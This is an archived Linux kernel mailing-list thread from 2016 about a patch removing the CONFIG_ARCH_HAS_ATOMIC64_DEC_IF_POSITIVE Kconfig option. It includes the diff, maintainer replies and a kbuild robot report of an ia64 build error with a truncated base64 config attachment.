-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index bc3f00f586f1..3df2ca7efbcc 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -6,7 +6,6 @@ config ARM64
 	select ACPI_MCFG if ACPI
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ACPI_TABLE_UPGRADE if ACPI
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_KCOV
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 26388562e300..5bbea197c220 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -30,7 +30,6 @@ config MIPS
 	select HAVE_ARCH_TRANSPARENT_HUGEPAGE if CPU_SUPPORTS_HUGEPAGES && 64BIT
 	select RTC_LIB if !MACH_LOONGSON64
 	select GENERIC_ATOMIC64 if !64BIT
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_DMA_API_DEBUG
 	select GENERIC_IRQ_PROBE
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index cd8778103165..9e40b52c0721 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -15,7 +15,6 @@ config PARISC
 	select BUILDTIME_EXTABLE_SORT
 	select HAVE_PERF_EVENTS
 	select GENERIC_ATOMIC64 if !64BIT
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select BROKEN_RODATA
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PCI_IOMAP
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 927d2ab2ce08..18d1b42cf545 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -113,7 +113,6 @@ config PPC
 	select HAVE_DEBUG_KMEMLEAK
 	select ARCH_HAS_SG_CHAIN
 	select GENERIC_ATOMIC64 if PPC32
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select HAVE_PERF_EVENTS
 	select HAVE_PERF_REGS
 	select HAVE_PERF_USER_STACK_DUMP
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index e751fe25d6ab..af52b07efde2 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -67,7 +67,6 @@ config DEBUG_RODATA
 
 config S390
 	def_bool y
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 59b09600dd32..bfedbe0cb7b2 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -22,7 +22,6 @@ config SPARC
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_EXIT_THREAD
 	select SYSCTL_EXCEPTION_TRACE
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select RTC_CLASS
 	select RTC_DRV_M48T59
 	select RTC_SYSTOHC
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 4820a02838ac..12eda5440c93 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -3,7 +3,6 @@
 
 config TILE
 	def_bool y
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index c580d8c33562..0cf609998550 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -23,7 +23,6 @@ config X86
 	select ARCH_CLOCKSOURCE_DATA
 	select ARCH_DISCARD_MEMBLOCK
 	select ARCH_HAS_ACPI_TABLE_UPGRADE if ACPI
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
diff --git a/lib/Kconfig b/lib/Kconfig
index d79909dc01ec..0e74df3c5441 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -457,9 +457,6 @@ config NLATTR
 config GENERIC_ATOMIC64
        bool
 
-config ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
-	def_bool y if GENERIC_ATOMIC64
-
 config LRU_CACHE
 	tristate
 
diff --git a/lib/atomic64_test.c b/lib/atomic64_test.c
index dbb369145dda..46042901130f 100644
--- a/lib/atomic64_test.c
+++ b/lib/atomic64_test.c
@@ -213,7 +213,6 @@ static __init void test_atomic64(void)
 	r += one;
 	BUG_ON(v.counter != r);
 
-#ifdef CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	INIT(onestwos);
 	BUG_ON(atomic64_dec_if_positive(&v) != (onestwos - 1));
 	r -= one;
@@ -226,9 +225,6 @@ static __init void test_atomic64(void)
 	INIT(-one);
 	BUG_ON(atomic64_dec_if_positive(&v) != (-one - one));
 	BUG_ON(v.counter != r);
-#else
-#warning Please implement atomic64_dec_if_positive for your architecture and select the above Kconfig symbol
-#endif
 
 	INIT(onestwos);
 	BUG_ON(!atomic64_inc_not_zero(&v));
-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] atomic64: No need for
 CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
Date: Thu, 8 Sep 2016 20:19:05 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20160908181905.GY10153@twins.programming.kicks-ass.net>
References: <1473352098-5822-1-git-send-email-vgupta@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1473358785 9554 195.159.176.226 (8 Sep 2016 18:19:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Sep 2016 18:19:45 +0000 (UTC)
User-Agent: Mutt/1.5.23.1 (2014-03-12)
Cc: linux-mips@linux-mips.org, Catalin Marinas <catalin.marinas@arm.com>,
 Linus Walleij <linus.walleij@linaro.org>,
 Alexey Brodkin <Alexey.Brodkin@synopsys.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "James  E.J. Bottomley" <jejb@parisc-linux.org>,
 Paul Mackerras <paulus@samba.org>, "H.  Peter Anvin" <hpa@zytor.com>,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, Andi Kleen <ak@linux.intel.com>,
 Herbert Xu <herbert@gondor.apana.org.au>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 x86@kernel.org, Russell King <linux@armlinux.org.uk>,
 Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Matthew Wilcox <willy@linux.intel.com>, Matt Turner <mattst88@gmail.com>,
 Borislav Petkov <bp@suse.de>, Ming Lin <ming.l@ssi.samsung.com>,
 Chris Metcalf
To: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Sep 08 20:19:36 2016
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1bi3vD-0001Sm-FP
	for gla-linux-snps-arc@m.gmane.org; Thu, 08 Sep 2016 20:19:35 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.85_2 #1 (Red Hat Linux))
	id 1bi3vE-0007oM-DO; Thu, 08 Sep 2016 18:19:36 +0000
Original-Received: from j217100.upc-j.chello.nl ([24.132.217.100]
 helo=twins.programming.kicks-ass.net)
 by bombadil.infradead.org with esmtpsa (Exim 4.85_2 #1 (Red Hat Linux))
 id 1bi3ui-0007VY-Va; Thu, 08 Sep 2016 18:19:05 +0000
Original-Received: by twins.programming.kicks-ass.net (Postfix, from userid 1000)
 id 3857512573B0D; Thu,  8 Sep 2016 20:19:05 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1473352098-5822-1-git-send-email-vgupta@synopsys.com>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:1453 gmane.linux.ports.mips.general:56240 gmane.linux.ports.sparc:23616 gmane.linux.kernel.cross-arch:33735 gmane.linux.ports.arm.kernel:526229 gmane.linux.ports.parisc:26956 gmane.linux.kernel:2304351 gmane.linux.ports.alpha:3878 gmane.linux.ports.ppc64.devel:132696
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/1453>

On Thu, Sep 08, 2016 at 09:28:18AM -0700, Vineet Gupta wrote:
> This came to light when implementing native 64-bit atomics for ARCv2.
> 
> The atomic64 self-test code uses CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
> to check whether atomic64_dec_if_positive() is available.
> It seems it was needed when not every arch defined it.
> However as of current code the Kconfig option seems needless
> 
> - for CONFIG_GENERIC_ATOMIC64 it is auto-enabled in lib/Kconfig and a
>   generic definition of API is present lib/atomic64.c
> - arches with native 64-bit atomics select it in arch/*/Kconfig and
>   define the API in their headers
> 
> So I see no point in keeping the Kconfig option
> 
> Compile tested for 2 representatives:
>  - blackfin (CONFIG_GENERIC_ATOMIC64)
>  - x86 (!CONFIG_GENERIC_ATOMIC64)
> 
> Also logistics wise it seemed simpler to just do this in 1 patch vs.
> splitting per arch - but I can break it up if maintainer feel that
> is better to avoid conflicts.

Works for me; you want me to take this, or do you need it for you ARCv2
patches?

From - Thu Nov 08 21:39:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] atomic64: No need for
 CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
Date: Thu, 8 Sep 2016 11:34:29 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <a37b81a2-9634-255e-b20b-51e75913cb40@synopsys.com>
References: <1473352098-5822-1-git-send-email-vgupta@synopsys.com>
 <20160908181905.GY10153@twins.programming.kicks-ass.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1473359764 10455 195.159.176.226 (8 Sep 2016 18:36:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Sep 2016 18:36:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.2.0
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Linus Walleij <linus.walleij@linaro.org>,
        "Alexey Brodkin" <Alexey.Brodkin@synopsys.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
        "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Andi Kleen <ak@linux.intel.com>,
        Herbert Xu <herbert@gondor.apana.org.au>,
        "Michael Ellerman" <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>,
        "x86@kernel.org" <x86@kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        "Ingo Molnar"
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Sep 08 20:35:55 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1bi4B1-0001m8-5z
	for sgi-linux-mips@gmane.org; Thu, 08 Sep 2016 20:35:55 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:48952 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23991532AbcIHSfzFMfo0 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 8 Sep 2016 20:35:55 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 08 Sep 2016 20:35:39 +0200 (CEST)
Original-Received: from us01smtprelay-2.synopsys.com ([198.182.47.9]:58710 "EHLO
        smtprelay.synopsys.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23991346AbcIHSfclMkk0 (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 8 Sep 2016 20:35:32 +0200
Original-Received: from us02secmta1.synopsys.com (us02secmta1.synopsys.com [10.12.235.96])
        by smtprelay.synopsys.com (Postfix) with ESMTP id 16F7324E0421;
        Thu,  8 Sep 2016 11:35:23 -0700 (PDT)
Original-Received: from us02secmta1.internal.synopsys.com (us02secmta1.internal.synopsys.com [127.0.0.1])
        by us02secmta1.internal.synopsys.com (Service) with ESMTP id D07744E213;
        Thu,  8 Sep 2016 11:35:23 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (mailhost1.synopsys.com [10.12.238.239])
        by us02secmta1.internal.synopsys.com (Service) with ESMTP id E361F4E202;
        Thu,  8 Sep 2016 11:35:22 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
        by mailhost.synopsys.com (Postfix) with ESMTP id A3325677;
        Thu,  8 Sep 2016 11:35:22 -0700 (PDT)
Original-Received: from US01WEHTC3.internal.synopsys.com (us01wehtc3.internal.synopsys.com [10.15.84.232])
        by mailhost.synopsys.com (Postfix) with ESMTP id 40D7866D;
        Thu,  8 Sep 2016 11:35:20 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.106) by
 US01WEHTC3.internal.synopsys.com (10.15.84.232) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Thu, 8 Sep 2016 11:34:51 -0700
Original-Received: from IN01WEHTCA.internal.synopsys.com (10.144.199.103) by
 IN01WEHTCB.internal.synopsys.com (10.144.199.105) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Fri, 9 Sep 2016 00:04:48 +0530
Original-Received: from [10.9.130.78] (10.9.130.78) by IN01WEHTCA.internal.synopsys.com
 (10.144.199.243) with Microsoft SMTP Server (TLS) id 14.3.266.1; Fri, 9 Sep
 2016 00:04:48 +0530
In-Reply-To: <20160908181905.GY10153@twins.programming.kicks-ass.net>
X-Originating-IP: [10.9.130.78]
X-archive-position: 55077
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: Vineet.Gupta1@synopsys.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:56241 gmane.linux.ports.sparc:23617 gmane.linux.kernel.cross-arch:33736 gmane.linux.ports.arm.kernel:526234 gmane.linux.kernel.arc:1454 gmane.linux.ports.parisc:26957 gmane.linux.kernel:2304363 gmane.linux.ports.alpha:3879 gmane.linux.ports.ppc64.devel:132697
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/56241>

On 09/08/2016 11:19 AM, Peter Zijlstra wrote:
> On Thu, Sep 08, 2016 at 09:28:18AM -0700, Vineet Gupta wrote:
>> This came to light when implementing native 64-bit atomics for ARCv2.
>>
>> The atomic64 self-test code uses CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
>> to check whether atomic64_dec_if_positive() is available.
>> It seems it was needed when not every arch defined it.
>> However as of current code the Kconfig option seems needless
>>
>> - for CONFIG_GENERIC_ATOMIC64 it is auto-enabled in lib/Kconfig and a
>>   generic definition of API is present lib/atomic64.c
>> - arches with native 64-bit atomics select it in arch/*/Kconfig and
>>   define the API in their headers
>>
>> So I see no point in keeping the Kconfig option
>>
>> Compile tested for 2 representatives:
>>  - blackfin (CONFIG_GENERIC_ATOMIC64)
>>  - x86 (!CONFIG_GENERIC_ATOMIC64)
>>
>> Also logistics wise it seemed simpler to just do this in 1 patch vs.
>> splitting per arch - but I can break it up if maintainer feel that
>> is better to avoid conflicts.
> Works for me; you want me to take this, or do you need it for you ARCv2
> patches?

Please do. ARCv2 patch (following shortly) doesn't need it - I selected the
option in orig patch - which I can just take out.

Thx,
-Vineet



From - Thu Nov 08 21:39:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] atomic64: No need for
 CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
Date: Sun, 11 Sep 2016 12:31:50 +0800
Lines: 881
Approved: news@gmane.org
Message-ID: <201609111259.q67d9T4B%fengguang.wu@intel.com>
References: <1473352098-5822-1-git-send-email-vgupta@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="tThc/1wpZn/ma/RB"
X-Trace: blaine.gmane.org 1473568389 25800 195.159.176.226 (11 Sep 2016 04:33:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 11 Sep 2016 04:33:09 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux-kernel@vger.kernel.org,
        linux-mips@linux-mips.org, Peter Zijlstra <peterz@infradead.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Linus Walleij <linus.walleij@linaro.org>,
        Alexey Brodkin <Alexey.Brodkin@synopsys.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
        Andi Kleen <ak@linux.intel.com>,
        Herbert Xu <herbert@gondor.apana.org.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        Russell King <linux@armlinux.org.uk>,
        Ingo Molnar <mingo@redhat.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Matthew Wilcox <willy@linux.intel.com>,
To: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Original-X-From: linux-arch-owner@vger.kernel.org Sun Sep 11 06:33:01 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1biwRr-0004uS-Ix
	for glka-linux-arch@m.gmane.org; Sun, 11 Sep 2016 06:32:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751576AbcIKEcv (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Sun, 11 Sep 2016 00:32:51 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:48507 "EHLO mga02.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750912AbcIKEct (ORCPT <rfc822;linux-arch@vger.kernel.org>);
        Sun, 11 Sep 2016 00:32:49 -0400
Original-Received: from orsmga005.jf.intel.com ([10.7.209.41])
  by orsmga101.jf.intel.com with ESMTP; 10 Sep 2016 21:32:47 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.30,314,1470726000"; 
   d="gz'50?scan'50,208,50";a="7000762"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga005.jf.intel.com with ESMTP; 10 Sep 2016 21:32:37 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1biwS2-000DNE-6q; Sun, 11 Sep 2016 12:33:06 +0800
Content-Disposition: inline
In-Reply-To: <1473352098-5822-1-git-send-email-vgupta@synopsys.com>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:33745 gmane.linux.kernel:2305729 gmane.linux.ports.mips.general:56251 gmane.linux.ports.sparc:23618 gmane.linux.ports.arm.kernel:526749 gmane.linux.kernel.arc:1462 gmane.linux.ports.parisc:26958 gmane.linux.ports.alpha:3880 gmane.linux.ports.ppc64.devel:132739
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/33745>


--tThc/1wpZn/ma/RB
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Vineet,

[auto build test ERROR on arm64/for-next/core]
[cannot apply to linus/master linux/master v4.8-rc5 next-20160909]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]
[Suggest to use git(>=2.9.0) format-patch --base=<commit> (or --base=auto for convenience) to record what (public, well-known) commit your patch series was built on]
[Check https://git-scm.com/docs/git-format-patch for more information]

url:    https://github.com/0day-ci/linux/commits/Vineet-Gupta/atomic64-No-need-for-CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE/20160909-013936
base:   https://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git for-next/core
config: ia64-allmodconfig (attached as .config)
compiler: ia64-linux-gcc (GCC) 4.9.0
reproduce:
        wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=ia64 

All errors (new ones prefixed by >>):

   lib/atomic64_test.c: In function 'test_atomic64':
>> lib/atomic64_test.c:217:2: error: implicit declaration of function 'atomic64_dec_if_positive' [-Werror=implicit-function-declaration]
     BUG_ON(atomic64_dec_if_positive(&v) != (onestwos - 1));
     ^
   cc1: some warnings being treated as errors

vim +/atomic64_dec_if_positive +217 lib/atomic64_test.c

86a89380 Luca Barbieri 2010-02-24  211  	INIT(v0);
9efbcd59 Luca Barbieri 2010-03-01  212  	BUG_ON(!atomic64_add_unless(&v, one, v1));
86a89380 Luca Barbieri 2010-02-24  213  	r += one;
86a89380 Luca Barbieri 2010-02-24  214  	BUG_ON(v.counter != r);
86a89380 Luca Barbieri 2010-02-24  215  
86a89380 Luca Barbieri 2010-02-24  216  	INIT(onestwos);
86a89380 Luca Barbieri 2010-02-24 @217  	BUG_ON(atomic64_dec_if_positive(&v) != (onestwos - 1));
86a89380 Luca Barbieri 2010-02-24  218  	r -= one;
86a89380 Luca Barbieri 2010-02-24  219  	BUG_ON(v.counter != r);
86a89380 Luca Barbieri 2010-02-24  220  

:::::: The code at line 217 was first introduced by commit
:::::: 86a8938078a8bb518c5376de493e348c7490d506 lib: Add self-test for atomic64_t

:::::: TO: Luca Barbieri <luca@luca-barbieri.com>
:::::: CC: H. Peter Anvin <hpa@zytor.com>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--tThc/1wpZn/ma/RB
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

H4sICBHd1FcAAy5jb25maWcAlFxbk9u2kn7Pr1A5+5BUbWLPjKM4Z2seQBKUsCIJGgA1lxeW
PJadqcxIXo2cHP/77QZvDRCUfF5ssb9G49bd6G6Q8+MPP87Y1+P+eXN8fNg8PX2bfd7utofN
cftx9unxafs/s0TOCmlmPBHmV2DOHndf//36cTN/O3v767tf3/xyeLiarbaH3fZpFu93nx4/
f4XWj/vdDz/+EMsiFYu6XBgWZbzO+Jpn+vqqoyc8bX9lQpvrV6+fHj+8ft5//Pq0fXn9X1XB
cl4rnnGm+etfH6zsV11b+E8bVcVGKn39raMK9b6+kWoFFOj+x9nCzuVp9rI9fv0yDEgUwtS8
WNdMYd+5MNdXl71kJbUG+XkpMn79ivRoKbXhMNa+x0zGLFtzpYUsCDNMjVWZqZdSG5zH9auf
dvvd9ueeQd+wcpCi7/RalPGIgP/HJhvopdTits7fV7ziYeqoSTOfnOdS3dXMGBYvBzBdsiLJ
iKhK80xEwzOrYN+HxyVbc1i1eNkA2BfLMo89TK1vmKFdN0SjOO92C3Zv9vL1w8u3l+P2edit
BS+4ErHd3IwvWHw3CKFYqWTEw5BeypsxUvIiEYXVmnCzeClKV7kSmTNRjLlzLVwxAzPoQlQt
yLxx9WLQm5WWlYp5nTDDxhKNAO1ft0tZyyzpVikuq9dm8/LX7Pj4vJ1tdh9nL8fN8WW2eXjY
f90dH3efh6UzIl7V0KBmcSyrwsBsQQzIaOC1UMaD64IZseazx5fZbn9Ew+lkRTrBJY45aBPw
E6XwkXp9NYCG6ZU2zGiXBKuSsTtPkAVuAzQh3RnYhVBxNdNjdUGNqgEbRMBDzW9LrohY7XDY
QY4bwbhh7cHwc1m4SMoKWZnr+dsxEXSUpdcXc3888IPF3BWzMkvFGa6ekNdvKFLIOMKtcfk7
KvwoON1JB7znStINDHPB1CaZcLXAOnkdSXD9AV2oRJbUkSguic8Sq+bH9bNPsdpBfSZKSMEq
RWquL36ndBxZzm4p3ntm63wq8Pv2NNHxkieNIRFnt1CyKomulWzBa6s5XA1U8Ibxwnv0XPJA
g5MCO0yIwmertqeBZq08iDTP9Y2CBY3YeLTNTIhPZkLVQSROdR2Bw74RiSGeFIw4zN5QS5Ho
ETEFrbynS9LSl9WCm4wcALAhmlPrxb1EmS0ykpDwtYgd5WwB4EfTDqhT39JxlDCZeFVKURiI
